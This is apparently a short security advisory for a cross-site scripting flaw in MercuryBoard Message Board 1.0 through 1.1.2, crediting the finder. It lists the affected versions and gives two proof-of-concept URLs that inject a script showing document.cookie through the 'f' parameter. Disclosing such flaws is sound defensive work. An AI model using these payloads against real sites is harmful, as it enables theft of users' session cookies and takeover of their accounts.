vulnerable MercuryBoard Message Board 1.0
MercuryBoard Message Board 1.0.1
MercuryBoard Message Board 1.0.2
MercuryBoard Message Board 1.1
MercuryBoard Message Board 1.1.1
MercuryBoard Message Board 1.1.2
http://www.example.com/index.php?a=forum&f='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/index.php?a=forum&f='><script>alert(document.cookie)</script>
Credit:
Lostmon <lostmon @gmail.com> is credited with the discovery of this issue.